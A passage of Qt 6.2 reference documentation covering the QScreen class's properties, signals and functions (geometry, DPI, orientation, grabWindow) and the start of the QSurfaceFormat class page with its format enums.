|  qreal  | **[devicePixelRatio](qscreen#devicePixelRatio-prop)**() const |
|  QRect  | **[geometry](qscreen#geometry-prop)**() const |
|  QPixmap  | **[grabWindow](qscreen#grabWindow)**(WId *window* = 0, int *x* = 0, int *y* = 0, int *width* = -1, int *height* = -1) |
|  QPlatformScreen \* | **[handle](qscreen#handle)**() const |
|  bool  | **[isLandscape](qscreen#isLandscape)**(Qt::ScreenOrientation *o*) const |
|  bool  | **[isPortrait](qscreen#isPortrait)**(Qt::ScreenOrientation *o*) const |
|  qreal  | **[logicalDotsPerInch](qscreen#logicalDotsPerInch-prop)**() const |
|  qreal  | **[logicalDotsPerInchX](qscreen#logicalDotsPerInchX-prop)**() const |
|  qreal  | **[logicalDotsPerInchY](qscreen#logicalDotsPerInchY-prop)**() const |
|  QString  | **[manufacturer](qscreen#manufacturer-prop)**() const |
|  QRect  | **[mapBetween](qscreen#mapBetween)**(Qt::ScreenOrientation *a*, Qt::ScreenOrientation *b*, const QRect &*rect*) const |
|  QString  | **[model](qscreen#model-prop)**() const |
|  QString  | **[name](qscreen#name-prop)**() const |
|  Qt::ScreenOrientation  | **[nativeOrientation](qscreen#nativeOrientation-prop)**() const |
|  Qt::ScreenOrientation  | **[orientation](qscreen#orientation-prop)**() const |
|  qreal  | **[physicalDotsPerInch](qscreen#physicalDotsPerInch-prop)**() const |
|  qreal  | **[physicalDotsPerInchX](qscreen#physicalDotsPerInchX-prop)**() const |
|  qreal  | **[physicalDotsPerInchY](qscreen#physicalDotsPerInchY-prop)**() const |
|  QSizeF  | **[physicalSize](qscreen#physicalSize-prop)**() const |
|  Qt::ScreenOrientation  | **[primaryOrientation](qscreen#primaryOrientation-prop)**() const |
|  qreal  | **[refreshRate](qscreen#refreshRate-prop)**() const |
|  QString  | **[serialNumber](qscreen#serialNumber-prop)**() const |
|  QSize  | **[size](qscreen#size-prop)**() const |
|  QTransform  | **[transformBetween](qscreen#transformBetween)**(Qt::ScreenOrientation *a*, Qt::ScreenOrientation *b*, const QRect &*target*) const |
|  QRect  | **[virtualGeometry](qscreen#virtualGeometry-prop)**() const |
|  QScreen \* | **[virtualSiblingAt](qscreen#virtualSiblingAt)**(QPoint *point*) |
|  QList<QScreen \*>  | **[virtualSiblings](qscreen#virtualSiblings)**() const |
|  QSize  | **[virtualSize](qscreen#virtualSize-prop)**() const |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[availableGeometryChanged](qscreen#availableGeometryChanged)**(const QRect &*geometry*) |
|  void  | **[geometryChanged](qscreen#geometryChanged)**(const QRect &*geometry*) |
|  void  | **[logicalDotsPerInchChanged](qscreen#logicalDotsPerInchChanged)**(qreal *dpi*) |
|  void  | **[orientationChanged](qscreen#orientationChanged)**(Qt::ScreenOrientation *orientation*) |
|  void  | **[physicalDotsPerInchChanged](qscreen#physicalDotsPerInchChanged)**(qreal *dpi*) |
|  void  | **[physicalSizeChanged](qscreen#physicalSize-prop)**(const QSizeF &*size*) |
|  void  | **[primaryOrientationChanged](qscreen#primaryOrientationChanged)**(Qt::ScreenOrientation *orientation*) |
|  void  | **[refreshRateChanged](qscreen#refreshRate-prop)**(qreal *refreshRate*) |
|  void  | **[virtualGeometryChanged](qscreen#virtualGeometryChanged)**(const QRect &*rect*) |

 Detailed Description
--------------------

 A note on logical vs physical dots per inch: physical DPI is based on the actual physical pixel sizes when available, and is useful for print preview and other cases where it's desirable to know the exact physical dimensions of screen displayed contents.

 Logical dots per inch are used to convert font and user interface elements from point sizes to pixel sizes, and might be different from the physical dots per inch. The logical dots per inch are sometimes user-settable in the desktop environment's settings panel, to let the user globally control UI and font sizes in different applications.

  **Note:** Both physical and logical DPI are expressed in device-independent dots. Multiply by [QScreen::devicePixelRatio](qscreen#devicePixelRatio-prop)() to get device-dependent density.

   Property Documentation
----------------------

 ### 
`[read-only]` availableGeometry : const [QRect](qrect)

 This property holds the screen's available geometry in pixels

 The available geometry is the geometry excluding window manager reserved areas such as task bars and system menus.

 Note, on X11 this will return the true available geometry only on systems with one monitor and if window manager has set \_NET\_WORKAREA atom. In all other cases this is equal to [geometry](qscreen#geometry-prop)(). This is a limitation in X11 window manager specification.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **availableGeometry**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[availableGeometryChanged](qscreen#availableGeometryChanged)**(const QRect &*geometry*) |

 ### 
`[read-only]` availableSize : const [QSize](qsize)

 This property holds the screen's available size in pixels

 The available size is the size excluding window manager reserved areas such as task bars and system menus.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **availableSize**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[availableGeometryChanged](qscreen#availableGeometryChanged)**(const QRect &*geometry*) |

 ### 
`[read-only]` availableVirtualGeometry : const [QRect](qrect)

 This property holds the available geometry of the virtual desktop to which this screen belongs

 Returns the available geometry of the virtual desktop corresponding to this screen.

 This is the union of the virtual siblings' individual available geometries.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **availableVirtualGeometry**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[virtualGeometryChanged](qscreen#virtualGeometryChanged)**(const QRect &*rect*) |

 **See also** [availableGeometry](qscreen#availableGeometry-prop)() and [virtualSiblings](qscreen#virtualSiblings)().

 ### 
`[read-only]` availableVirtualSize : const [QSize](qsize)

 This property holds the available size of the virtual desktop to which this screen belongs

 Returns the available pixel size of the virtual desktop corresponding to this screen.

 This is the combined size of the virtual siblings' individual available geometries.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **availableVirtualSize**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[virtualGeometryChanged](qscreen#virtualGeometryChanged)**(const QRect &*rect*) |

 **See also** [availableSize](qscreen#availableSize-prop)() and [virtualSiblings](qscreen#virtualSiblings)().

 ### 
`[read-only]` depth : const int

 This property holds the color depth of the screen

 **Access functions:**

 

|  |  |
| --- | --- |
|  int  | **depth**() const |

 ### 
`[read-only, since 5.5]` devicePixelRatio : const [qreal](qtglobal#qreal-typedef)

 This property holds the screen's ratio between physical pixels and device-independent pixels

 Returns the ratio between physical pixels and device-independent pixels for the screen.

 Common values are 1.0 on normal displays and 2.0 on "retina" displays. Higher values are also possible.

 This property was introduced in Qt 5.5.

 **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **devicePixelRatio**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[physicalDotsPerInchChanged](qscreen#physicalDotsPerInchChanged)**(qreal *dpi*) |

 **See also** [QWindow::devicePixelRatio](qwindow#devicePixelRatio)() and [QGuiApplication::devicePixelRatio](qguiapplication#devicePixelRatio)().

 ### 
`[read-only]` geometry : const [QRect](qrect)

 This property holds the screen's geometry in pixels

 As an example this might return [QRect](qrect)(0, 0, 1280, 1024), or in a virtual desktop setting [QRect](qrect)(1280, 0, 1280, 1024).

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **geometry**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[geometryChanged](qscreen#geometryChanged)**(const QRect &*geometry*) |

 ### 
`[read-only]` logicalDotsPerInch : const [qreal](qtglobal#qreal-typedef)

 This property holds the number of logical dots or pixels per inch

 This value can be used to convert font point sizes to pixel sizes.

 This is a convenience property that's simply the average of the [logicalDotsPerInchX](qscreen#logicalDotsPerInchX-prop) and [logicalDotsPerInchY](qscreen#logicalDotsPerInchY-prop) properties.

 **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **logicalDotsPerInch**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[logicalDotsPerInchChanged](qscreen#logicalDotsPerInchChanged)**(qreal *dpi*) |

 **See also** [logicalDotsPerInchX](qscreen#logicalDotsPerInchX-prop)() and [logicalDotsPerInchY](qscreen#logicalDotsPerInchY-prop)().

 ### 
`[read-only]` logicalDotsPerInchX : const [qreal](qtglobal#qreal-typedef)

 This property holds the number of logical dots or pixels per inch in the horizontal direction

 This value is used to convert font point sizes to pixel sizes.

 **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **logicalDotsPerInchX**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[logicalDotsPerInchChanged](qscreen#logicalDotsPerInchChanged)**(qreal *dpi*) |

 **See also** [logicalDotsPerInchY](qscreen#logicalDotsPerInchY-prop)().

 ### 
`[read-only]` logicalDotsPerInchY : const [qreal](qtglobal#qreal-typedef)

 This property holds the number of logical dots or pixels per inch in the vertical direction

 This value is used to convert font point sizes to pixel sizes.

 **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **logicalDotsPerInchY**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[logicalDotsPerInchChanged](qscreen#logicalDotsPerInchChanged)**(qreal *dpi*) |

 **See also** [logicalDotsPerInchX](qscreen#logicalDotsPerInchX-prop)().

 ### 
`[read-only, since 5.9]` manufacturer : const [QString](qstring)

 This property holds the manufacturer of the screen

 This property was introduced in Qt 5.9.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **manufacturer**() const |

 ### 
`[read-only, since 5.9]` model : const [QString](qstring)

 This property holds the model of the screen

 This property was introduced in Qt 5.9.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **model**() const |

 ### 
`[read-only]` name : const [QString](qstring)

 This property holds a user presentable string representing the screen

 For example, on X11 these correspond to the XRandr screen names, typically "VGA1", "HDMI1", etc.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **name**() const |

 ### 
`[read-only, since 5.2]` nativeOrientation : const [Qt::ScreenOrientation](qt#ScreenOrientation-enum)

 This property holds the native screen orientation

 The native orientation of the screen is the orientation where the logo sticker of the device appears the right way up, or [Qt::PrimaryOrientation](qt#ScreenOrientation-enum) if the platform does not support this functionality.

 The native orientation is a property of the hardware, and does not change.

 This property was introduced in Qt 5.2.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::ScreenOrientation  | **nativeOrientation**() const |

 ### 
`[read-only]` orientation : const [Qt::ScreenOrientation](qt#ScreenOrientation-enum)

 This property holds the screen orientation

 The `orientation` property tells the orientation of the screen from the window system perspective.

 Most mobile devices and tablet computers contain accelerometer sensors. The Qt Sensors module provides the ability to read this sensor directly. However, the windowing system may rotate the entire screen automatically based on how it is being held; in that case, this `orientation` property will change.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::ScreenOrientation  | **orientation**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[orientationChanged](qscreen#orientationChanged)**(Qt::ScreenOrientation *orientation*) |

 **See also** [primaryOrientation](qscreen#primaryOrientation-prop)() and [QWindow::contentOrientation](qwindow#contentOrientation-prop)().

 ### 
`[read-only]` physicalDotsPerInch : const [qreal](qtglobal#qreal-typedef)

 This property holds the number of physical dots or pixels per inch

 This value represents the pixel density on the screen's display. Depending on what information the underlying system provides the value might not be entirely accurate.

 This is a convenience property that's simply the average of the [physicalDotsPerInchX](qscreen#physicalDotsPerInchX-prop) and [physicalDotsPerInchY](qscreen#physicalDotsPerInchY-prop) properties.

  **Note:** Physical DPI is expressed in device-independent dots. Multiply by [QScreen::devicePixelRatio](qscreen#devicePixelRatio-prop)() to get device-dependent density.

  **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **physicalDotsPerInch**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[physicalDotsPerInchChanged](qscreen#physicalDotsPerInchChanged)**(qreal *dpi*) |

 **See also** [physicalDotsPerInchX](qscreen#physicalDotsPerInchX-prop)() and [physicalDotsPerInchY](qscreen#physicalDotsPerInchY-prop)().

 ### 
`[read-only]` physicalDotsPerInchX : const [qreal](qtglobal#qreal-typedef)

 This property holds the number of physical dots or pixels per inch in the horizontal direction

 This value represents the actual horizontal pixel density on the screen's display. Depending on what information the underlying system provides the value might not be entirely accurate.

  **Note:** Physical DPI is expressed in device-independent dots. Multiply by [QScreen::devicePixelRatio](qscreen#devicePixelRatio-prop)() to get device-dependent density.

  **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **physicalDotsPerInchX**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[physicalDotsPerInchChanged](qscreen#physicalDotsPerInchChanged)**(qreal *dpi*) |

 **See also** [physicalDotsPerInchY](qscreen#physicalDotsPerInchY-prop)().

 ### 
`[read-only]` physicalDotsPerInchY : const [qreal](qtglobal#qreal-typedef)

 This property holds the number of physical dots or pixels per inch in the vertical direction

 This value represents the actual vertical pixel density on the screen's display. Depending on what information the underlying system provides the value might not be entirely accurate.

  **Note:** Physical DPI is expressed in device-independent dots. Multiply by [QScreen::devicePixelRatio](qscreen#devicePixelRatio-prop)() to get device-dependent density.

  **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **physicalDotsPerInchY**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[physicalDotsPerInchChanged](qscreen#physicalDotsPerInchChanged)**(qreal *dpi*) |

 **See also** [physicalDotsPerInchX](qscreen#physicalDotsPerInchX-prop)().

 ### 
`[read-only]` physicalSize : const [QSizeF](qsizef)

 This property holds the screen's physical size (in millimeters)

 The physical size represents the actual physical dimensions of the screen's display.

 Depending on what information the underlying system provides the value might not be entirely accurate.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSizeF  | **physicalSize**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **physicalSizeChanged**(const QSizeF &*size*) |

 ### 
`[read-only]` primaryOrientation : const [Qt::ScreenOrientation](qt#ScreenOrientation-enum)

 This property holds the primary screen orientation

 The primary screen orientation is [Qt::LandscapeOrientation](qt#ScreenOrientation-enum) if the screen geometry's width is greater than or equal to its height, or [Qt::PortraitOrientation](qt#ScreenOrientation-enum) otherwise. This property might change when the screen orientation was changed (i.e. when the display is rotated). The behavior is however platform dependent and can often be specified in an application manifest file.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::ScreenOrientation  | **primaryOrientation**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[primaryOrientationChanged](qscreen#primaryOrientationChanged)**(Qt::ScreenOrientation *orientation*) |

 ### 
`[read-only]` refreshRate : const [qreal](qtglobal#qreal-typedef)

 This property holds the approximate vertical refresh rate of the screen in Hz

 **Access functions:**

 

|  |  |
| --- | --- |
|  qreal  | **refreshRate**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **refreshRateChanged**(qreal *refreshRate*) |

 ### 
`[read-only, since 5.9]` serialNumber : const [QString](qstring)

 This property holds the serial number of the screen

 This property was introduced in Qt 5.9.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **serialNumber**() const |

 ### 
`[read-only]` size : const [QSize](qsize)

 This property holds the pixel resolution of the screen

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **size**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[geometryChanged](qscreen#geometryChanged)**(const QRect &*geometry*) |

 ### 
`[read-only]` virtualGeometry : const [QRect](qrect)

 This property holds the pixel geometry of the virtual desktop to which this screen belongs

 Returns the pixel geometry of the virtual desktop corresponding to this screen.

 This is the union of the virtual siblings' individual geometries.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QRect  | **virtualGeometry**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[virtualGeometryChanged](qscreen#virtualGeometryChanged)**(const QRect &*rect*) |

 **See also** [virtualSiblings](qscreen#virtualSiblings)().

 ### 
`[read-only]` virtualSize : const [QSize](qsize)

 This property holds the pixel size of the virtual desktop to which this screen belongs

 Returns the pixel size of the virtual desktop corresponding to this screen.

 This is the combined size of the virtual siblings' individual geometries.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QSize  | **virtualSize**() const |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **[virtualGeometryChanged](qscreen#virtualGeometryChanged)**(const QRect &*rect*) |

 **See also** [virtualSiblings](qscreen#virtualSiblings)().

  Member Function Documentation
-----------------------------

 ### 
`[signal]` void QScreen::orientationChanged([Qt::ScreenOrientation](qt#ScreenOrientation-enum) *orientation*)

 This signal is emitted when the orientation of the screen changes with *orientation* as an argument.

 **Note:** Notifier signal for property [orientation](qscreen#orientation-prop). 

 **See also** [orientation](qscreen#orientation-prop)().

 ### 
`[signal]` void QScreen::primaryOrientationChanged([Qt::ScreenOrientation](qt#ScreenOrientation-enum) *orientation*)

 This signal is emitted when the primary orientation of the screen changes with *orientation* as an argument.

 **Note:** Notifier signal for property [primaryOrientation](qscreen#primaryOrientation-prop). 

 **See also** [primaryOrientation](qscreen#primaryOrientation-prop)().

 ### 
`[virtual]` QScreen::~QScreen()

 Destroys the screen.

 ### 
int QScreen::angleBetween([Qt::ScreenOrientation](qt#ScreenOrientation-enum) *a*, [Qt::ScreenOrientation](qt#ScreenOrientation-enum) *b*) const

 Convenience function to compute the angle of rotation to get from rotation *a* to rotation *b*.

 The result will be 0, 90, 180, or 270.

 [Qt::PrimaryOrientation](qt#ScreenOrientation-enum) is interpreted as the screen's [primaryOrientation](qscreen#primaryOrientation-prop)().

 ### 
[QPixmap](qpixmap) QScreen::grabWindow(WId *window* = 0, int *x* = 0, int *y* = 0, int *width* = -1, int *height* = -1)

 Creates and returns a pixmap constructed by grabbing the contents of the given *window* restricted by [QRect](qrect)(*x*, *y*, *width*, *height*). If *window* is 0, then the entire screen will be grabbed.

 The arguments (*x*, *y*) specify the offset in the window, whereas (*width*, *height*) specify the area to be copied. If *width* is negative, the function copies everything to the right border of the window. If *height* is negative, the function copies everything to the bottom of the window.

 The offset and size arguments are specified in device independent pixels. The returned pixmap may be larger than the requested size when grabbing from a high-DPI screen. Call [QPixmap::devicePixelRatio](qpixmap#devicePixelRatio)() to determine if this is the case.

 The window system identifier (`WId`) can be retrieved using the [QWidget::winId](qwidget#winId)() function. The rationale for using a window identifier and not a [QWidget](qwidget), is to enable grabbing of windows that are not part of the application, window system frames, and so on.

  **Warning:** Grabbing windows that are not part of the application is not supported on systems such as iOS, where sandboxing/security prevents reading pixels of windows not owned by the application.

  The grabWindow() function grabs pixels from the screen, not from the window, i.e. if there is another window partially or entirely over the one you grab, you get pixels from the overlying window, too. The mouse cursor is generally not grabbed.

 Note on X11 that if the given *window* doesn't have the same depth as the root window, and another window partially or entirely obscures the one you grab, you will *not* get pixels from the overlying window. The contents of the obscured areas in the pixmap will be undefined and uninitialized.

 On Windows Vista and above grabbing a layered window, which is created by setting the [Qt::WA\_TranslucentBackground](qt#WidgetAttribute-enum) attribute, will not work. Instead grabbing the desktop widget should work.

  **Warning:** In general, grabbing an area outside the screen is not safe. This depends on the underlying window system.

  ### 
QPlatformScreen \*QScreen::handle() const

 Get the platform screen handle.

 **See also** [Qt Platform Abstraction (QPA)](qpa).

 ### 
bool QScreen::isLandscape([Qt::ScreenOrientation](qt#ScreenOrientation-enum) *o*) const

 Convenience function that returns `true` if *o* is either landscape or inverted landscape; otherwise returns `false`.

 [Qt::PrimaryOrientation](qt#ScreenOrientation-enum) is interpreted as the screen's [primaryOrientation](qscreen#primaryOrientation-prop)().

 ### 
bool QScreen::isPortrait([Qt::ScreenOrientation](qt#ScreenOrientation-enum) *o*) const

 Convenience function that returns `true` if *o* is either portrait or inverted portrait; otherwise returns `false`.

 [Qt::PrimaryOrientation](qt#ScreenOrientation-enum) is interpreted as the screen's [primaryOrientation](qscreen#primaryOrientation-prop)().

 ### 
[QRect](qrect) QScreen::mapBetween([Qt::ScreenOrientation](qt#ScreenOrientation-enum) *a*, [Qt::ScreenOrientation](qt#ScreenOrientation-enum) *b*, const [QRect](qrect) &*rect*) const

 Maps the rect between two screen orientations.

 This will flip the x and y dimensions of the rectangle *rect* if the orientation *a* is [Qt::PortraitOrientation](qt#ScreenOrientation-enum) or [Qt::InvertedPortraitOrientation](qt#ScreenOrientation-enum) and orientation *b* is [Qt::LandscapeOrientation](qt#ScreenOrientation-enum) or [Qt::InvertedLandscapeOrientation](qt#ScreenOrientation-enum), or vice versa.

 [Qt::PrimaryOrientation](qt#ScreenOrientation-enum) is interpreted as the screen's [primaryOrientation](qscreen#primaryOrientation-prop)().

 ### 
[QTransform](qtransform) QScreen::transformBetween([Qt::ScreenOrientation](qt#ScreenOrientation-enum) *a*, [Qt::ScreenOrientation](qt#ScreenOrientation-enum) *b*, const [QRect](qrect) &*target*) const

 Convenience function to compute a transform that maps from the coordinate system defined by orientation *a* into the coordinate system defined by orientation *b* and target dimensions *target*.

 Example, *a* is Qt::Landscape, *b* is Qt::Portrait, and *target* is [QRect](qrect)(0, 0, w, h) the resulting transform will be such that the point [QPoint](qpoint)(0, 0) is mapped to [QPoint](qpoint)(0, w), and [QPoint](qpoint)(h, w) is mapped to [QPoint](qpoint)(0, h). Thus, the landscape coordinate system [QRect](qrect)(0, 0, h, w) is mapped (with a 90 degree rotation) into the portrait coordinate system [QRect](qrect)(0, 0, w, h).

 [Qt::PrimaryOrientation](qt#ScreenOrientation-enum) is interpreted as the screen's [primaryOrientation](qscreen#primaryOrientation-prop)().

 ### 
`[since 5.15]` QScreen \*QScreen::virtualSiblingAt([QPoint](qpoint) *point*)

 Returns the screen at *point* within the set of [QScreen::virtualSiblings](qscreen#virtualSiblings)(), or `nullptr` if outside of any screen.

 The *point* is in relation to the [virtualGeometry](qscreen#virtualGeometry-prop)() of each set of virtual siblings.

 This function was introduced in Qt 5.15.

 ### 
[QList](qlist)<QScreen \*> QScreen::virtualSiblings() const

 Get the screen's virtual siblings.

 The virtual siblings are the screen instances sharing the same virtual desktop. They share a common coordinate system, and windows can freely be moved or positioned across them without having to be re-created.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qscreen.html>

QSurfaceFormat Class
====================

 The QSurfaceFormat class represents the format of a [QSurface](qsurface). [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QSurfaceFormat> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Since: |  Qt 5.0 |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qsurfaceformat-members.html)

 Public Types
------------

 

|  |  |
| --- | --- |
|  enum  | **[ColorSpace](qsurfaceformat#ColorSpace-enum)** { DefaultColorSpace, sRGBColorSpace } |
|  enum  | **[FormatOption](qsurfaceformat#FormatOption-enum)** { StereoBuffers, DebugContext, DeprecatedFunctions, ResetNotification, ProtectedContent } |
|  flags  | **[FormatOptions](qsurfaceformat#FormatOption-enum)** |
|  enum  | **[OpenGLContextProfile](qsurfaceformat#OpenGLContextProfile-enum)** { NoProfile, CoreProfile, CompatibilityProfile } |
|  enum  | **[RenderableType](qsurfaceformat#RenderableType-enum)** { DefaultRenderableType, OpenGL, OpenGLES, OpenVG } |
|  enum  | **[SwapBehavior](qsurfaceformat#SwapBehavior-enum)** { DefaultSwapBehavior, SingleBuffer, DoubleBuffer, TripleBuffer } |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QSurfaceFormat](qsurfaceformat#QSurfaceFormat-2)**(const QSurfaceFormat &*other*) |
|  | **[QSurfaceFormat](qsurfaceformat#QSurfaceFormat-1)**(QSurfaceFormat::FormatOptions *options*) |
|  | **[QSurfaceFormat](qsurfaceformat#QSurfaceFormat)**() |
|  QSurfaceFormat & | **[operator=](qsurfaceformat#operator-eq)**(const QSurfaceFormat &*other*) |
|  | **[~QSurfaceFormat](qsurfaceformat#dtor.QSurfaceFormat)**() |
|  int  | **[alphaBufferSize](qsurfaceformat#alphaBufferSize)**() const |
|  int  | **[blueBufferSize](qsurfaceformat#blueBufferSize)**() const |
|  const QColorSpace & | **[colorSpace](qsurfaceformat#colorSpace)**() const |
|  int  | **[depthBufferSize](qsurfaceformat#depthBufferSize)**() const |
|  int  | **[greenBufferSize](qsurfaceformat#greenBufferSize)**() const |
|  bool  | **[hasAlpha](qsurfaceformat#hasAlpha)**() const |
|  int  | **[majorVersion](qsurfaceformat#majorVersion)**() const |
|  int  | **[minorVersion](qsurfaceformat#minorVersion)**() const |
|  QSurfaceFormat::FormatOptions  | **[options](qsurfaceformat#options)**() const |
|  QSurfaceFormat::OpenGLContextProfile  | **[profile](qsurfaceformat#profile)**() const |
|  int  | **[redBufferSize](qsurfaceformat#redBufferSize)**() const |
|  QSurfaceFormat::RenderableType  | **[renderableType](qsurfaceformat#renderableType)**() const |
|  int  | **[samples](qsurfaceformat#samples)**() const |
|  void  | **[setAlphaBufferSize](qsurfaceformat#setAlphaBufferSize)**(int *size*) |
|  void  | **[setBlueBufferSize](qsurfaceformat#setBlueBufferSize)**(int *size*) |
|  void  | **[setColorSpace](qsurfaceformat#setColorSpace)**(const QColorSpace &*colorSpace*) |
|  void  | **[setColorSpace](qsurfaceformat#setColorSpace-1)**(QSurfaceFormat::ColorSpace *colorSpace*) |
|  void  | **[setDepthBufferSize](qsurfaceformat#setDepthBufferSize)**(int *size*) |
|  void  | **[setGreenBufferSize](qsurfaceformat#setGreenBufferSize)**(int *size*) |
|  void  | **[setMajorVersion](qsurfaceformat#setMajorVersion)**(int *major*) |
|  void  | **[setMinorVersion](qsurfaceformat#setMinorVersion)**(int *minor*) |
|  void  | **[setOption](qsurfaceformat#setOption)**(QSurfaceFormat::FormatOption *option*, bool *on* = true) |
|  void  | **[setOptions](qsurfaceformat#setOptions)**(QSurfaceFormat::FormatOptions *options*) |
|  void  | **[setProfile](qsurfaceformat#setProfile)**(QSurfaceFormat::OpenGLContextProfile *profile*) |
|  void  | **[setRedBufferSize](qsurfaceformat#setRedBufferSize)**(int *size*) |
|  void  | **[setRenderableType](qsurfaceformat#setRenderableType)**(QSurfaceFormat::RenderableType *type*) |
|  void  | **[setSamples](qsurfaceformat#setSamples)**(int *numSamples*) |
|  void  | **[setStencilBufferSize](qsurfaceformat#setStencilBufferSize)**(int *size*) |
|  void  | **[setStereo](qsurfaceformat#setStereo)**(bool *enable*) |
|  void  | **[setSwapBehavior](qsurfaceformat#setSwapBehavior)**(QSurfaceFormat::SwapBehavior *behavior*) |
|  void  | **[setSwapInterval](qsurfaceformat#setSwapInterval)**(int *interval*) |
|  void  | **[setVersion](qsurfaceformat#setVersion)**(int *major*, int *minor*) |
|  int  | **[stencilBufferSize](qsurfaceformat#stencilBufferSize)**() const |
|  bool  | **[stereo](qsurfaceformat#stereo)**() const |
|  QSurfaceFormat::SwapBehavior  | **[swapBehavior](qsurfaceformat#swapBehavior)**() const |
|  int  | **[swapInterval](qsurfaceformat#swapInterval)**() const |
|  bool  | **[testOption](qsurfaceformat#testOption)**(QSurfaceFormat::FormatOption *option*) const |
|  QPair<int, int>  | **[version](qsurfaceformat#version)**() const |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QSurfaceFormat  | **[defaultFormat](qsurfaceformat#defaultFormat)**() |
|  void  | **[setDefaultFormat](qsurfaceformat#setDefaultFormat)**(const QSurfaceFormat &*format*) |

 Related Non-Members
-------------------

 

|  |  |
| --- | --- |
|  bool  | **[operator!=](qsurfaceformat#operator-not-eq)**(const QSurfaceFormat &*lhs*, const QSurfaceFormat &*rhs*) |
|  bool  | **[operator==](qsurfaceformat#operator-eq-eq)**(const QSurfaceFormat &*lhs*, const QSurfaceFormat &*rhs*) |

 Detailed Description
--------------------

 The format includes the size of the color buffers, red, green, and blue; the size of the alpha buffer; the size of the depth and stencil buffers; and number of samples per pixel for multisampling. In addition, the format contains surface configuration parameters such as OpenGL profile and version for rendering, whether or not to enable stereo buffers, and swap behaviour.

  **Note:** When troubleshooting context or window format issues, it can be helpful to enable the logging category `qt.qpa.gl`. Depending on the platform, this may print useful debug information when it comes to OpenGL initialization and the native visual or framebuffer configurations which QSurfaceFormat gets mapped to.

  Member Type Documentation
-------------------------

 ### enum QSurfaceFormat::ColorSpace

 This enum is used to specify the preferred color space, controlling if the window's associated default framebuffer is able to do updates and blending in a given encoding instead of the standard linear operations.

 

| Constant | Value | Description |
| --- | --- | --- |
| `QSurfaceFormat::DefaultColorSpace` | `0` | The default, unspecified color space. |
| `QSurfaceFormat::sRGBColorSpace` | `1` | When `GL_ARB_framebuffer_sRGB` or `GL_EXT_framebuffer_sRGB` is supported by the platform and this value is set, the window will be created with an sRGB-capable default framebuffer. Note that some platforms may return windows with a sRGB-capable default framebuffer even when not requested explicitly. |

 ### enum QSurfaceFormat::FormatOptionflags QSurfaceFormat::FormatOptions

 This enum contains format options for use with [QSurfaceFormat](qsurfaceformat).

 

| Constant | Value | Description |
| --- | --- | --- |
| `QSurfaceFormat::StereoBuffers` | `0x0001` | Used to request stereo buffers in the surface format. |
| `QSurfaceFormat::DebugContext` | `0x0002` | Used to request a debug context with extra debugging information. |
| `QSurfaceFormat::DeprecatedFunctions` | `0x0004` | Used to request that deprecated functions be included in the OpenGL context profile. If not specified, you should get a forward compatible context without support functionality marked as deprecated. This requires OpenGL version 3.0 or higher. |
| `QSurfaceFormat::ResetNotification` | `0x0008` | Enables notifications about resets of the OpenGL context. The status is then queryable via the context's [isValid](qopenglcontext#isValid)() function. Note that not setting this flag does not guarantee that context state loss never occurs. Additionally, some implementations may choose to report context loss regardless of this flag. Platforms that support dynamically enabling the monitoring of the loss of context, such as, Windows with WGL, or Linux/X11 (xcb) with GLX, will monitor the status in every call to [makeCurrent](qopenglcontext#makeCurrent)(). See [isValid](qopenglcontext#isValid)() for more information on this. |
